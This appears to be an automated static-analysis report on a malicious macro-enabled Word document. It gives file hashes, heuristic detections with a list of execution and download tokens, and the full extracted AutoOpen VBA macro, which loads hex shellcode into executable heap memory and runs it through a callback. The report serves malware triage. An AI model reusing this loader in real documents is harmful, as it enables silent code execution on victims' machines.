Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 f6a57f9f41801138…

MALICIOUS

Office (OOXML)

18.3 KB Created: 2021-03-25 00:58:00 UTC Authoring application: Microsoft Office Word 14.0000 First seen: 2021-04-01
MD5: 6307bf612c027154ff53aa3b37c1dae0 SHA-1: 8c857c93093a2047f3beef5d2d9254a6fe6d8afe SHA-256: f6a57f9f418011386747016a0d7803be1a73d688deb8022976aa047c57cc0cec
72 Risk Score

Heuristics 5

  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1965 bytes
SHA-256: c65e7405dde615d8c5f7deafc26343777094a0b5c35b6234c016f87fcc9ff5a4
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"


Private Declare Function createMemory Lib "kernel32" Alias "HeapCreate" (ByVal flOptions As Long, ByVal dwInitialSize As Long, ByVal dwMaximumSize As Long) As Long
Private Declare Function allocateMemory Lib "kernel32" Alias "HeapAlloc" (ByVal hHeap As Long, ByVal dwFlags As Long, ByVal dwBytes As Long) As Long
Private Declare Sub copyMemory Lib "ntdll" Alias "RtlMoveMemory" (pDst As Any, pSrc As Any, ByVal ByteLen As Long)
Private Declare Function shellExecute Lib "kernel32" Alias "EnumSystemCodePagesW" (ByVal lpCodePageEnumProc As Any, ByVal dwFlags As Any) As Long

Sub AutoOpen()

Dim shellCode As String
Dim shellLength As Byte
Dim byteArray() As Byte
Dim memoryAddress As Long
Dim zL As Long
zL = 0
Dim rL As Long

shellCode = "fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d6a018d85b20000005068318b6f87ffd5bbf0b5a25668a695bd9dffd53c067c0a80fbe07505bb4713726f6a0053ffd563616c632e65786500"

shellLength = Len(shellCode) / 2
ReDim byteArray(0 To shellLength)

For i = 0 To shellLength - 1

    If i = 0 Then
        pos = i + 1
    Else
        pos = i * 2 + 1
    End If
    Value = Mid(shellCode, pos, 2)
    byteArray(i) = Val("&H" & Value)

Next

rL = createMemory(&H40000, zL, zL)
memoryAddress = allocateMemory(rL, zL, &H5000)

copyMemory ByVal memoryAddress, byteArray(0), UBound(byteArray) + 1

executeResult = shellExecute(memoryAddress, zL)

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 12800 bytes
SHA-256: 262d75378f4c14539a5fd3b7bcc876c37636d1c66a8cf68ffc5e5ff29a81d179
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).

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